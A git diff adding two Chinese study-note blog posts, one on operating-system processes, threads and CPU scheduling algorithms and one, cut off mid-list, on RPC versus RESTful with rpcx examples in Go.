+tags: [操作系统] +--- + +### PCB 具体包含什么信息? + +进程描述信息: + +- 进程标志符 +- 用户标志符 + +进程控制和管理 + +- 进程的当前状态 new ready running waiting blocked +- 进程德优先级 + +资源【分配的清单 + +- 有关内存地址空间或者虚拟地址的空间信息 +- 所打开的文件列表 +- 所使用的 I/O 设备信息 + +CPU 相关信息 + +- CPU 中间各个寄存器的值,当进程被切换的时候,CPU 的状态信息都会被 PCB 当中 + +### PCB 的组织方式 + +链表 + +- 相同状态的进程链在一起,组成各种队列 +- 所有处于就绪状态的进程链在⼀起,称为就绪队列 +- 所有因等待某事件⽽处于等待状态的进程链在⼀起就组成各种阻塞队列 +- 对于运⾏队列在单核 CPU 系统中则只有⼀个运⾏指针了,因为单核 CPU 在某个时间,只能运⾏⼀个程序 + +索引⽅式 +它的⼯作原理: + +- 将同⼀状态的进程组织在⼀个索引表中,索引表项指向相应的 PCB,不同状态对应不同的索引表。 +- ⼀般会选择链表,因为可能⾯临进程创建,销毁等调度导致进程状态发⽣变化,所以链表能够更加灵活的插⼊和删除. + +### 进程的控制 + +#### 01 创建进程 + +操作系统允许⼀个进程创建另⼀个进程,⽽且允许⼦进程继承⽗进程所拥有的资源,当⼦进程被终⽌时,其在⽗进程处继承的资源应当还给⽗进程。同时,终⽌⽗进程时同时也会终⽌其所有的⼦进程。 + +- 为新进程分配⼀个唯⼀的进程标识号,并申请⼀个空⽩的 PCB,PCB 是有限的,若申请失败则创建失败; **new ---> error** + +- 为进程分配资源,此处如果资源不⾜,进程就会进⼊等待状态,以等待资源;初始化 PCB;**new ---> waiting** + +- 如果进程的调度队列能够接纳新进程,那就将进程插⼊到就绪队列,等待被调度运⾏;**new---> ready** + +#### 02 终⽌进程 + +进程可以有 3 种终⽌⽅式:正常结束、异常结束以及外界⼲预(信号 kill 掉)。 +终⽌进程的过程如下: + +- 查找需要终⽌的进程的 PCB; +- 如果处于执⾏状态,则⽴即终⽌该进程的执⾏,然后将 CPU 资源分配给其他进程; +- 如果其还有⼦进程,则应将其所有⼦进程终⽌; +- 将该进程所拥有的全部资源都归还给⽗进程或操作系统; +- 将其从 PCB 所在队列中删除; + +### 03 阻塞进程 + +当进程需要等待某⼀事件完成时,它可以调⽤阻塞语句把⾃⼰阻塞等待。⽽⼀旦被阻塞等待,它只能由另⼀个进程唤醒。 + +阻塞进程的过程如下: + +- 找到将要被阻塞进程标识号对应的 PCB; +- 如果该进程为运⾏状态,则保护其现场,将其状态转为阻塞状态,停⽌运⾏; +- 将该 PCB 插⼊到阻塞队列中去; + +#### 04 唤醒进程 + +进程由「运⾏」转变为「阻塞」状态是由于进程必须等待某⼀事件的完成,所以处于阻塞状态的进程是绝对不可能叫醒⾃⼰的。 +如果某进程正在等待 I/O 事件,需由别的进程发消息给它,则只有当该进程所期待的事件出现时,才由发现者进程⽤唤醒语句叫醒它。 +唤醒进程的过程如下: + +- 在该事件的阻塞队列中找到相应进程的 PCB; +- 将其从阻塞队列中移出,并置其状态为就绪状态; +- 把该 PCB 插⼊到就绪队列中,等待调度程序调度; +- 进程的阻塞和唤醒是⼀对功能相反的语句,如果某个进程调⽤了阻塞语句,则必有⼀个与之对应的唤醒语句。 + +#### 05 上下⽂切换 + +各个进程之间是共享 CPU 资源的,在不同的时候进程之间需要切换,让不同的进程可以在 CPU 执⾏,那么这个⼀个进程切换到另⼀个进程运⾏,称为进程的上下⽂切换各个进程之间是共享 CPU 资源的,在不同的时候进程之间需要切换,让不同的进程可以在 CPU 执⾏,那么这个⼀个进程切换到另⼀个进程运⾏,称为进程的上下⽂切换。在详细说进程上下⽂切换前,我们先来看看 + +###### CPU 上下⽂切换 + +> CPU 的程序计数器和 CPU 寄存器 指导 CPU 执行命令,所以是 CPU 的上下文 + +⼤多数操作系统都是多任务,通常⽀持⼤于 CPU 数量的任务同时运⾏。实际上,这些任务并不是同时运⾏的,只是因为系统在很短的时间内,让各个任务分别在 CPU 运⾏,于是就造成同时运⾏的错觉。任务是交给 CPU 运⾏的,那么在每个任务运⾏前,CPU 需要知道任务从哪⾥加载,⼜从哪⾥开始运⾏。 +所以,操作系统需要事先帮 CPU 设置好 CPU 寄存器和程序计数器。 + +CPU 寄存器是 CPU 内部⼀个容量⼩,但是速度极快的内存(缓存)。我举个例⼦,寄存器像是的⼝袋,内存像的书包,硬盘则是家⾥的柜⼦,如果的东⻄存放到⼝袋,那肯定是⽐从书包或家⾥柜⼦取出来要快的多。 +再来,程序计数器则是⽤来存储 CPU 正在执⾏的指令位置、或者即将执⾏的下⼀条指令位置。所以说,CPU 寄存器和程序计数是 CPU 在运⾏任何任务前,所必须依赖的环境,这些环境就叫做 CPU 上下⽂。 + +**操作系统是多任务,CPU 在一段时间内执行不同的任务,在不同的任务之间进行切换,就需要操作系统为 CPU 设置好程序计数器和 CPU 寄存器,记录 CPU 把每个任务执行到什么程度,这么才能在任务切换的时候恢复现场。由操作系统调度的。** + +###### 进程的上下⽂切换 + +> 进程是由内核管理和调度的,所以进程的切换只能发⽣在内核态。进程的上下⽂切换不仅包含了虚拟内存、栈、全局变量等⽤户空间的资源,还包括了内核堆栈、寄存器等内核空间的资源。通常,会把交换的信息保存在进程的 PCB, + +进程上下⽂切换有哪些场景? + +- 为了保证所有进程可以得到公平调度,CPU 时间被划分为⼀段段的时间⽚,这些时间⽚再被轮流分配给各个进程。这样,当某个进程的时间⽚耗尽了,进程就从运⾏状态变为就绪状态,系统从就绪队列选择另外⼀个进程运⾏; + +- 进程在系统资源不⾜(⽐如内存不⾜)时,要等到资源满⾜后才可以运⾏,这个时候进程也会被挂起,并由系统调度其他进程运⾏; +- 当进程通过睡眠函数 sleep 这样的⽅法将⾃⼰主动挂起时,⾃然也会重新调度; + 当有优先级更⾼的进程运⾏时,为了保证⾼优先级进程的运⾏,当前进程会被挂起,由⾼优先级进程来运⾏; +- 发⽣硬件中断时,CPU 上的进程会被中断挂起,转⽽执⾏内核中的中断服务程序; + **进程的切换中保存虚拟内存,栈,全局变量等用户空间的资源,也包括内核堆栈,虚拟内存,寄存器,并且把交换的资源保存在进程的 PCB 当中,当要运行另外一个进程的时候,从这个进程的 PCB 当中取出该进程的上下文,然后恢复大 CPU 当中,使得这个进程可以继续执行。** + 进程切换: + 进程 1 ——>进程 1 的上下文保存 ——>加载进程 2 的上下文 ——>进程 2 + **进程的切换是由内核管理和调度** + +###### 为什么使用线程 + +线程在早期的操作系统中都是以进程作为独⽴运⾏的基本单位,直到后⾯,计算机科学家们⼜提出了更⼩的能独⽴运⾏的基本单位,也就是线程。 + +```go +func main(){ + for{ + Read() + } +} +``` + +```go +func main(){ + for{ + Decompress() + } +} +``` + +```go +func main(){ + for{ + Play() + } +} +``` + +存在的问题:进程之间如何通信,共享数据? +维护进程的系统开销较⼤,如创建进程时,分配资源、建⽴ PCB;终⽌进程时,回收资源、撤销 PCB;进程切换时,保存当前进程的状态信息. + +那到底如何解决呢?需要有⼀种新的实体,满⾜以下特性: +实体之间可以并发运⾏; +实体之间共享相同的地址空间; + +这个新的实体,就是线程( Thread ),线程之间可以并发运⾏且共享相同的地址空间。 + +###### 线程是什么? + +**线程是进程当中的⼀条执⾏流程。** +同⼀个进程内多个线程之间可以共享代码段、数据段、打开的⽂件等资源,但每个线程各⾃都有⼀套独⽴的寄存器和栈,这样可以确保线程的控制流是相对独⽴的。 +线程的优点: +⼀个进程中可以同时存在多个线程; +各个线程之间可以并发执⾏; +各个线程之间可以共享地址空间和⽂件等资源; +线程的缺点: +当进程中的⼀个线程崩溃时,会导致其所属进程的所有线程崩溃。 +举个例⼦,对于游戏的⽤户设计,则不应该使⽤多线程的⽅式,否则⼀个⽤户挂了,会影响其他同个进程的线程。 +**线程并发运行,共享地址空间和文件资源** + +###### 线程与进程的⽐较? + + +> 传统的进程有两个基本属性 :可拥有资源的独立单位;可独立调度和分配的基本单位。引 入线程的原因是进程在创建、撤销和切换中,系统必须为之付出较大的时空开销,故在系统中 设置的进程数目不宜过 多,进程切换的频率不宜太高,这就限制 了并发程度的提高。引入线程 后,将传统进程的两个基本属性分开,线程作为调度和分配的基本单位,进程作为独立分配资源的单位。用户可以通过创建线程来完成任务,以减少程序并发执行时付出的时空开销。 + +**线程是调度的基本单位,进程是资源拥有的基本单位,操作系统的任务调度,本质上的调度对象是线程,进程只是给了县城虚拟内存,全局变量等资源** +线程与进程最⼤的区别在于:线程是调度的基本单位,⽽进程则是资源拥有的基本单位。操作系统的任务调度,实际上的调度对象是线程,⽽进程只是给线程提供了虚拟 +内存、全局变量等资源。 + +线程与进程的⽐较如下: + +**进程是资源分配的基本单位**,**线程是 CPU 调度的基本单位**;进程拥有⼀个完整的资源平台,⽽线程只独享必不可少的资源,如寄存器和栈;线程同样具有就绪、阻塞、执⾏三种基本状态,同样具有状态之间的转换关系;线程能减少并发执⾏的时间和空间开销; +**进程拥有一个完整的资源平台,而线程只拥有必不可少的资源。线程同样具有就绪,阻塞,执行三种状态** + +对于,线程相⽐进程能减少开销,体现在: + +- **进程的创建,需要资源管理的信息** 进程标志符号,用户标志符号,进程的当前状态,进程的当前优先级,虚拟内存地址,文件列表,IO 设备的信息,CPU 中间各个寄存器的值。 +- **因为线程拥有的资源更少,所以终止的更快** +- 同一个进程内的线程**线程切换比 CPU 切换更加的快速** 线程都具有相同的虚拟地址,相同的页表,进程切换的过程中,切换页表的开销比较大。 +- 线程之间的**数据传递不需要经过内核\***,同一个进程内的各个线程之间共享内存。 + +###### 线程的上下文切换 + +**进程是资源分配的基本单位** +**线程是 CPU 调度的基本单位** + +- 当进程只有一个线程时,进程==线程 +- 当进程有多个线程时,这些进程线程,共享 **虚拟内存、全局变量** +- 所以两个线程不是属于同⼀个进程,则切换的过程就跟进程上下⽂切换⼀样; +- 当两个线程是属于同⼀个进程,因为虚拟内存是共享的,所以在切换时,虚拟内存这些资源就保持不动,只需要切换线程的私有数据,寄存器等不共享的资源。 + +###### 线程的三种实现方式 + +**用户线程** +用户空间实现的线程,由用户的线程库进行管理 + +**内核线程** +内核中实现的线程,内核管理的线程 + +**轻量级线程** +在内核中用来支持用户线程 + +###### 用户线程和内核线程的关系 + +**多对 1** +多个⽤户线程对应同⼀个内核线程 + +**1 对 1** +⼀个⽤户线程对应⼀个内核线程 +**多 对 多** +第三种是多对多的关系,也就是多个⽤户线程对应到多个内核线程 + +###### 怎么理解用户线程? + +**操作系统看不到 TCP,只能看到 PCB。TCB 是由用户态的线程管理库** +**用户线程的创建,终止,调度是由用户态的线程管理库来实现,操作系统不直接参与。** + +⽤户线程是基于⽤户态的线程管理库来实现的,那么线程控制块(Thread Control Block,TCB) 也是在库⾥⾯来实现的,对于操作系统⽽⾔是看不到这个 TCB 的,它只能看到整个进程的 PCB。⽤户线程的整个线程管理和调度,操作系统是不直接参与的,⽽是由⽤户级线程库函数来完成线程的管理,包括线程的创建、终⽌、同步和调度等。 +⽤户级线程的模型,也就类似前⾯提到的多对⼀的关系,即多个⽤户线程对应同⼀个内核线程 + +用户空间: + +```go + +type ThreadControlBlock struct{ + ID int +} + +type ThreadsTable struct{ + Threads []ThreadControlBlock +} + +type ProcessControlBlock struct{ + ID int + ThreadsTable ThreadsTable +} + +``` + +内核空间: + +```go + +type ProcessControlBlock struct{ + ID int +} + +type ProcessesTable struct{ + Processes []ProcessControlBlock +} +``` + +⽤户线程的优点: + +- 每个进程都需要有它私有的线程控制块(TCB)列表,⽤来跟踪记录它各个线程状态信息(PC、栈指针、寄存器),TCB 由⽤户级线程库函数来维护,可⽤于不⽀持线程技术的操作系统; +- ⽤户线程的切换也是由线程库函数来完成的,⽆需⽤户态与内核态的切换,所以速度特别快; + +⽤户线程的缺点: + +- 由于操作系统不参与线程的调度,如果⼀个线程发起了系统调⽤⽽阻塞,那进程所包含的 + ⽤户线程都不能执⾏了。 +- **用户态的线程没有办法去打断同一个进程下的另外一个线程,只能等待另外一个线程主动的交出 CPU 的使用权**当⼀个线程开始运⾏后,除⾮它主动地交出 CPU 的使⽤权,否则它所在的进程当中的其他线程⽆法运⾏,因为⽤户态的线程没法打断当前运⾏中的线程它没有这个特权,只有操作系统才有,但是⽤户线程不是由操作系统管理的。 + +###### 怎么理解内核线程? + +**内核线程是由操作系统创建,终止,管理的** +内核线程是由操作系统管理的,线程对应的 TCB ⾃然是放在操作系统⾥的,这样线程的创建、终⽌和管理都是由操作系统负责。 +内核线程的模型,也就类似前⾯提到的⼀对⼀的关系,即⼀个⽤户线程对应⼀个内核线程,内核线程的优点: +在⼀个进程当中,如果某个内核线程发起系统调⽤⽽被阻塞,并不会影响其他内核线程的运⾏;分配给线程,多线程的进程获得更多的 CPU 运⾏时间; +内核线程的缺点 +在⽀持内核线程的操作系统中,由内核来维护进程和线程的上下⽂信息,如 PCB 和 TCB; +线程的创建、终⽌和切换都是通过系统调⽤的⽅式来进⾏,因此对于系统来说,系统开销⽐较⼤; +轻量级进程(Light-weight process , LWP)是内核⽀持的⽤户线程,⼀个进程可有⼀个或 + +###### 怎么理解轻量级线程? + +**内核支持的用户线程,一个轻量级线程和一个内核线程一一对应。也就是每一个 LWP 都是由一个内核线程提供支持** +**LWP 只能被由内核管理,内核像调度普通进程那样调度 LWP** +**LWP 与普通进程的区别就是:只有一个最小的上下文执行信息和调度程序所需的统计信息** +**一个进程就代表程序的一个实例,LWP 代表程序的执行线程,一个执行线程不需要那么多的状态信息** +**LWP 可以使用用户线程的。** + +多个 LWP,每个 LWP 是跟内核线程⼀对⼀映射的,也就是 LWP 都是由⼀个内核线程⽀持。轻量级进程(Light-weight process , LWP)是内核⽀持的⽤户线程,⼀个进程可有⼀个或多个 LWP,每个 LWP 是跟内核线程⼀对⼀映射的,也就是 LWP 都是由⼀个内核线程⽀持。 + +LWP 与⽤户线程的对应关系就有三种: +1 : 1 ,即⼀个 LWP 对应 ⼀个⽤户线程; +N : 1 ,即⼀个 LWP 对应多个⽤户线程; +M : N ,即多个 LMP 对应多个⽤户线程; + +```go + +type LWPandUserThread struct{ + ID int + UserThreads []UserThread +} + +type UserThread struct{ + ID int +} + +func Test(){ + LWPANDKernelThread:= map[string]string{ + "LWP1":"KernelThread1", + "LWP2":"KernelThread2", + "LWP3":"KernelThread3", + "LWP4":"KernelThread4", + } + LWPANDUSERTHREAD := []LWPandUserThread { + LWPandUserThread { + ID: 1, + UserThreads: []UserThread{UserThread{1},UserThread{2},UserThread{3}}, + }, + LWPandUserThread { + ID: 2, + UserThreads: []UserThread{UserThread{4},UserThread{5},UserThread{6}}, + }, + LWPandUserThread { + ID: 3, + UserThreads: []UserThread{UserThread{7},UserThread{8},UserThread{9}}, + }, + LWPandUserThread { + ID: 4, + UserThreads: []UserThread{UserThread{10},UserThread{11},UserThread{12}}, + }, + LWPandUserThread { + ID: 5, + UserThreads: []UserThread{UserThread{10},UserThread{11},UserThread{12}}, + }, + } +} + +``` + +1 : 1 模式 +⼀个用户线程对应到⼀个 LWP 再对应到⼀个内核线程,如上图的进程 4,属于此模型。 +优点:实现并⾏,当⼀个 LWP 阻塞,不会影响其他 LWP; +缺点:每⼀个⽤户线程,就产⽣⼀个内核线程,创建线程的开销较⼤。 + +N : 1 模式 +多个⽤户线程对应⼀个 LWP 再对应⼀个内核线程,如上图的进程 2,线程管理是在⽤户空间完成的,此模式中⽤户的线程对操作系统不可⻅。 +优点:⽤户线程要开⼏个都没问题,且上下⽂切换发⽣⽤户空间,切换的效率较⾼; +缺点:⼀个⽤户线程如果阻塞了,则整个进程都将会阻塞,另外在多核 CPU 中,是没办法充分利⽤ CPU 的。 + +M : N 模式 +根据前⾯的两个模型混搭⼀起,就形成 M:N 模型,该模型提供了两级控制,⾸先多个⽤户线程对应到多个 LWP,LWP 再⼀⼀对应到内核线程 + +优点:综合了前两种优点,⼤部分的线程上下⽂发⽣在⽤户空间,且多个线程⼜可以充分利⽤多核 CPU 的资源。 + +#### 06 调度程序(scheduler) + +进程都希望⾃⼰能够占⽤ CPU 进⾏⼯作,那么这涉及到前⾯说过的进程上下⽂切换。⼀旦操作系统把进程切换到运⾏状态,也就意味着该进程占⽤着 CPU 在执⾏,但是当操作系把进程切换到其他状态时,那就不能在 CPU 中执⾏了,于是操作系统会选择下⼀个要运⾏的进程。选择⼀个进程运⾏这⼀功能是在操作系统中完成的,通常称为调度程序(scheduler) +什么时候调度进程,或以什么原则来调度进程呢? + +###### 调度时机 + +在进程的⽣命周期中,当进程从⼀个运⾏状态到另外⼀状态变化的时候,其实会触发⼀次调度。⽐如,以下状态的变化都会触发操作系统的调度: +从就绪态 -> 运⾏态:当进程被创建时,会进⼊到就绪队列,操作系统会从就绪队列选择⼀个进程运⾏; +从运⾏态 -> 阻塞态:当进程发⽣ I/O 事件⽽阻塞时,操作系统必须另外⼀个进程运⾏; +从运⾏态 -> 结束态:当进程退出结束后,操作系统得从就绪队列选择另外⼀个进程运⾏; +因为,这些状态变化的时候,操作系统需要考虑是否要让新的进程给 CPU 运⾏,或者是否让当前进程从 CPU 上退出来⽽换另⼀个进程运⾏。 + +###### 调度算法的两类 + +如果硬件时钟提供某个频率的周期性中断,那么可以根据如何处理时钟中断把调度算法分为两类: +**⾮抢占式调度算法** +挑选⼀个进程,然后让该进程运⾏直到被阻塞,或者直到该进程退出,才会调⽤另外⼀个进程,也就是说不会理时钟中断这个事情。 + +**时间⽚机制下的抢占式调度算法** +挑选⼀个进程,然后让该进程只运⾏某段时间,如果在该时段结束时,该进程仍然在运⾏时,则会把它挂起,接着调度程序从就绪队列挑选另外⼀个进程。这种抢占式调度处理,需要在时间间隔的末端发⽣时钟中断,以便把 CPU 控制返回给调度程序进⾏调度,也就是常说的时间⽚机制。 + +###### 调度原则 + +原则⼀:**某个任务被阻塞后 CPU 可以去执行别的任务。**如果运⾏的程序,发⽣了 I/O 事件的请求,那 CPU 使⽤率必然会很低,因为此时进程在阻塞等待硬盘的数据返回。这样的过程,势必会造成 CPU 突然的空闲。所以,为了提⾼ CPU 利⽤率,在这种发送 I/O 事件致使 CPU 空闲的情况下,调度程序需要从就绪队列中选择⼀个进程来运⾏。 + +原则⼆:**某个任务时间很长时,CPU 要权衡一下,到底是先执行时间长的,还是执行时间短的任务。**有的程序执⾏某个任务花费的时间会⽐较⻓,如果这个程序⼀直占⽤着 CPU,会造成系统吞吐量(CPU 在单位时间内完成的进程数量)的降低。所以,要提⾼系统的吞吐率,调度程序要权衡⻓任务和短任务进程的运⾏完成数量。 + +原则三:**使得某些任务的等待时间尽可能的小。**从进程开始到结束的过程中,实际上是包含两个时间,分别是进程运⾏时间和进程等待时间,这两个时间总和就称为周转时间。进程的周转时间越⼩越好,如果进程的等待时间很⻓⽽运⾏时间很短,那周转时间就很⻓,这不是我们所期望的,调度程序应该避免这种情况发⽣。 + +原则四:**就绪队列中的任务等待时间等待时间尽可能的小。**处于就绪队列的进程,也不能等太久,当然希望这个等待的时间越短越好,这样可以使得进程更快的在 CPU 中执⾏。所以,就绪队列中进程的等待时间也是调度程序所需要考虑的原则。 + +原则五:**IO 设备的响应时间尽可能的短。**对于⿏标、键盘这种交互式⽐较强的应⽤,我们当然希望它的响应时间越快越好,否则就会影响⽤户体验了。所以,对于交互式⽐较强的应⽤,响应时间也是调度程序需要考虑的原则。 + +总结: + +- **CPU 的利用率**使得 CPU 变忙。(对应第一条,CPU 可以去执行别的任务) +- **系统吞吐率:单位时间内完成的进程的数量**对应第二条,CPU 权衡短作业和长作业 +- **周转时间**:运行和阻塞的时间越小越好 +- **等待时间**:不是阻塞状态的时间,在就绪队列的时间 +- **响应时间:**:⽤户提交请求到系统第⼀次产⽣响应所花费的时间,在交互式系统中,响应时间是衡量调度算法好坏的主要标准。 + +###### 调度算法 + +单核 CPU 系统中常⻅的调度算法 +**01 ⾮抢占式的先来先服务(First Come First Seved, FCFS):** +每次从就绪队列选择最先进⼊队列的进程,然后⼀直运⾏,直到进程退出或被阻塞,才会继续从队列中选择第⼀个进程接着运⾏。**对⻓作业有利**(长作业可以一次性执行完)适⽤于 CPU 繁忙型作业的系统,⽽不适⽤于 I/O 繁忙型作业的系统。 + +**02 最短作业优先(Shortest Job First, SJF):** +调度算法同样也是顾名思义,它会优先选择运⾏时间最短的进程来运⾏,这有助于提⾼系统的吞吐量。显然对⻓作业不利 + +**03 ⾼响应⽐优先调度算法:** +(Highest Response Ratio Next, HRRN)调度算法主要是权衡了短作业和⻓作业。每次进⾏进程调度时,先计算「响应⽐优先级」,然后把「响应⽐优先级」最⾼的进程投⼊运⾏,「响应⽐优先级」的计算公式。 +如果两个进程的「等待时间」相同时,「要求的服务时间」越短,「响应⽐」就越⾼,这样短作业的进程容易被选中运⾏; +如果两个进程「要求的服务时间」相同时,「等待时间」越⻓,「响应⽐」就越⾼,这就兼顾到了⻓作业进程,因为进程的响应⽐可以随时间等待的增加⽽提⾼,当其等待时间⾜够⻓时,其响应⽐便可以升到很⾼,从⽽获得运⾏的机会; +**04 时间⽚轮转调度算法:** +每个进程被分配⼀个时间段,称为时间⽚(Quantum),即允许该进程在该时间段中运⾏。如果时间⽚⽤完,进程还在运⾏,那么将会把此进程从 CPU 释放出来,并把 CPU 分配给另外⼀个进程;如果该进程在时间⽚结束前阻塞或结束,则 CPU ⽴即进⾏切换。 + +**05 最⾼优先级调度算法:** +前⾯的「时间⽚轮转算法」做了个假设,即让所有的进程同等重要,也不偏袒谁,⼤家的运⾏时间都⼀样。 +但是,对于多⽤户计算机系统就有不同的看法了,它们希望调度是有优先级的,即希望调度程序能从就绪队列中选择最⾼优先级的进程进⾏运⾏,这称为最⾼优先级(Highest PriorityFirst , HPF)调度算法。进程的优先级可以分为,静态优先级和动态优先级:静态优先级:创建进程时候,就已经确定了优先级了,然后整个运⾏时间优先级都不会变化;动态优先级:根据进程的动态变化调整优先级,⽐如如果进程运⾏时间增加,则降低其优先级,如果进程等待时间(就绪队列的等待时间)增加,则升⾼其优先级,也就是随着时间的推移增加等待进程的优先级。 +该算法也有两种处理优先级⾼的⽅法,⾮抢占式和抢占式: +⾮抢占式:当就绪队列中出现优先级⾼的进程,运⾏完当前进程,再选择优先级⾼的进程。 +抢占式:当就绪队列中出现优先级⾼的进程,当前进程挂起,调度优先级⾼的进程运⾏。 + +**06 多级反馈队列调度算法:** +多级反馈队列(Multilevel Feedback Queue)调度算法是「时间⽚轮转算法」和「最⾼优先级算法」的综合和发展。 +「多级」表示有多个队列,每个队列优先级从⾼到低,同时优先级越⾼时间⽚越短。 +「反馈」表示如果有新的进程加⼊优先级⾼的队列时,⽴刻停⽌当前正在运⾏的进程,转⽽去运⾏优先级⾼的队列; + +它是如何⼯作的: +设置了多个队列,赋予每个队列不同的优先级,每个队列优先级从⾼到低,同时优先级越 +⾼时间⽚越短; +新的进程会被放⼊到第⼀级队列的末尾,按**先来先服务**的原则排队等待被调度,如果在第⼀级队列规定的时间⽚没运⾏完成,则将其转⼊到第⼆级队列的末尾,以此类推,直⾄完成; +当较⾼优先级的队列为空,才调度较低优先级的队列中的进程运⾏。如果进程运⾏时,有新进程进⼊较⾼优先级的队列,则停⽌当前运⾏的进程并将其移⼊到原队列末尾,接着让较⾼优先级的进程运⾏; + +可以发现,对于短作业可能可以在第⼀级队列很快被处理完。对于⻓作业,如果在第⼀级队列处理不完,可以移⼊下次队列等待被执⾏,虽然等待的时间变⻓了,但是运⾏时间也变更⻓了,所以该算法很好的兼顾了⻓短作业,同时有较好的响应时间。 diff --git a/_posts/2022-11-03-test-markdown.md b/_posts/2022-11-03-test-markdown.md new file mode 100644 index 000000000000..902a2c60b148 --- /dev/null +++ b/_posts/2022-11-03-test-markdown.md @@ -0,0 +1,1986 @@ +--- +layout: post +title: rpcx 学习 +subtitle: RPC vs RESTful +tags: [Microservices rpc] +--- + +# Part 1 + +1.RESTful 是通过 http 方法操作资源 Rpc 操作的是方法和过程,要操作的是方法对象 2. RESTful 的客户端和服务端是解耦的。Rpc 的客户端是紧密耦合的。 3. Resful 执行的是对资源的操作 CURD 如果是张三的成绩加 3。这个特定目地的操作在 Resful 下不直观,但是在 RPC 下是 Student.Increment(Name,Score)的方法供给客户端口调用。4 .RESTful 的 Request -Response 模型是阻塞。(http1.0 和 http1.1, http 2.0 没这个问题),发送一个请求后只有等到 response 返回才能发送第二个请求 (有些 http server 实现了 pipeling 的功能,但不是标配), RPC 的实现没有这个限制。 + +在当今用户和资源都是大数据大并发的趋势下,一个大规模的公司不可能使用一个单体程序提供所有的功能,微服务的架构模式越来越多的被应用到产品的设计和开发中, 服务和服务之间的通讯也越发的重要, 所以 RPC 不失是一个解决服务之间通讯的好办法, 本书给大家介绍 Go 语言的 RPC 的开发实践。 + +## 1. RPC vs RESTful 的不同之处 + +RPC 的消息传输可以通过 TCP、UDP 或者 HTTP 等,所以有时候我们称之为 RPC over TCP、 RPC over HTTP。RPC 通过 HTTP 传输消息的时候和 RESTful 的架构是类似的,但是也有不同。 + +首先我们比较 RPC over HTTP 和 RESTful。 + +首先 RPC 的客户端和服务器端是紧耦合的,客户端需要知道调用的过程的名字,过程的参数以及它们的类型、顺序等。一旦服务器更改了过程的实现, 客户端的实现很容易出问题。RESTful 基于 http 的语义操作资源,参数的顺序一般没有关系,也很容易的通过代理转换链接和资源位置,从这一点上来说,RESTful 更灵活。 + +其次,它们操作的对象不一样。 RPC 操作的是方法和过程,它要操作的是方法对象。 RESTful 操作的是资源(resource),而不是方法。 + +第三,RESTful 执行的是对资源的操作,增加、查找、修改和删除等,主要是 CURD,所以如果要实现一个特定目的的操作,比如为名字姓张的学生的数学成绩都加上 10 这样的操作, RESTful 的 API 设计起来就不是那么直观或者有意义。在这种情况下, RPC 的实现更有意义,它可以实现一个 Student.Increment(Name, Score) 的方法供客户端调用。 + +我们再来比较一下 RPC over TCP 和 RESTful。 如果我们直接使用 socket 实现 RPC,除了上面的不同外,我们可以获得性能上的优势。 + +RPC over TCP 可以通过长连接减少连接的建立所产生的花费,在调用次数非常巨大的时候(这是目前互联网公司经常遇到的情况,大并发的情况下),这个花费影响是非常巨大的。 当然 RESTful 也可以通过 keep-alive 实现长连接, 但是它最大的一个问题是它的 request-response 模型是阻塞的 (http1.0 和 http1.1, http 2.0 没这个问题), 发送一个请求后只有等到 response 返回才能发送第二个请求 (有些 http server 实现了 pipeling 的功能,但不是标配), RPC 的实现没有这个限制 + +## 2. 实现一个 Service + +```go +import "context" + +type Args struct { + A int + B int +} + +type Reply struct { + C int +} + +type Arith int + +func (t *Arith) Mul(ctx context.Context, args *Args, reply *Reply) error { + reply.C = args.A * args.B + return nil +} +``` + +编写 RPC 服务的时候,相当于抽取 RESTful 下的这个函数的逻辑: + +```go +// requests.LoginByPhoneRequest{} +type LoginByPhoneRequest struct { + Phone string `json:"phone,omitempty" valid:"phone"` + Password string `json:"password,omitempty" valid:"password"` +} + +// LoginByPhone 手机登录 +func LoginByPhone(c *gin.Context) { + // 1. 验证表单 + request := requests.LoginByPhoneRequest{} + + if err := c.Bind(&request); err != nil { + response.Error(c, err, "请求失败") + return + } + + // 2. 尝试登录 + user, err := AttemptLoginByPhone(request.Phone, request.Password) + + if err != nil { + // 失败,显示错误提示 + response.Error(c, err, "账号不存在或密码错误") + } else { + // 登录成功 + token := jwt.NewJWT().IssueToken(user.GetStringID(), user.Name) + + response.JSON(c, gin.H{ + "token": token, + }) + } +} + +``` + +改造上面的这个逻辑: + +```go +import "context" + +type LoginRequest struct { + Phone string + Password string +} + +type TokenResponse struct { + Token string + Error string +} + +type UserLogin int + +// 传如请求的指针和响应的指针当然还有上下文 +func (t *UserLogin) Mul(ctx context.Context, args *LoginRequest, reply *TokenResponse) error { + + user, err := AttemptLoginByPhone(args.A ,args.B) + if err != nil { + // 失败,显示错误提示 + reply.Error="Password and Phone wrong" + return err + } else { + // 登录成功 + reply.Tokentoken := jwt.NewJWT().IssueToken(user.GetStringID(), user.Name) + return nil + } +} +``` + +UserLogin 是一个 Go 类型,并且它有一个方法 Mul。 方法 Mul 的 第 1 个参数是 context.Context。 方法 Mul 的 第 2 个参数是 args, args 包含了请求的数据 Phone 和 Password。 方法 Mul 的 第 3 个参数是 reply, reply 是一个指向了 TokenResponse 结构体的指针。 方法 Mul 的 返回类型是 error (可以为 nil)。 方法 Mul 把 输入的 Phone 和 Password 经过校验和加密后得到结果 赋值到 TokenResponse.Token + +现在已经定义了一个叫做 UserLogin 的 service, 并且为它实现了 Mul 方法。 下一步骤中, 我们将会继续介绍如何把这个服务注册给服务器,并且如何用 client 调用它。 + +## 2. 实现 Server + +```go + s:=server.NewServer() + s.RegisterName("UserLogin",new(UserLogin),"") + s.Serve("tcp",":8972") +``` + +对于服务端我们仅仅是注册写好的服务,然后让服务端的实例在某个端口运行就好了 + +## 3. 实现 Client + +```go + // #1 + d:=client.NewPeer2PeerDiscovery("tcp@"+*addr,"") + + // #2 + xclient:= client.NewXClient("UserLogin",client.Failtry,client.RandomSelect,d,client.DefaultOption) + defer client.Close() + + // #3 + u:=&UserLogin{ + Phone:"12345678909", + Password:"123456" + } + // #4 + r:=&TokenResponse{} + + // #5 + err:=xclient.Call(context.Background(),"Mul",u,r) + if err!=nil{ + log.Fatalf("Failed to call: %v",err) + } + + log.Printf("token is =",r.Token) +``` + +服务端需要做的事情是: + +- #1 定义客户端服务发现的方式,这里使用最简单的 `Peer2PeerDiscovery`点对点,客户端直连服务端来获取服务地址(详见下面的服务发现的两种方式之客户端发现) + +- #2 定义客户端在调用失败的情况下需要做什么,定义客户端如果在有多台服务器实例提供同样服务的情况下,如何选择服务器实例 + +- #3 定义了被初始化的请求,携带着参数 + +- #4 定义了被初始化的响应,未携带数据,数据在服务端被调用后得到.定义了响应对象, 默认值是 0 值, 事实上 rpcx 会通过它来知晓返回结果的类型,然后把结果反序列化到这个对象 + +- #5 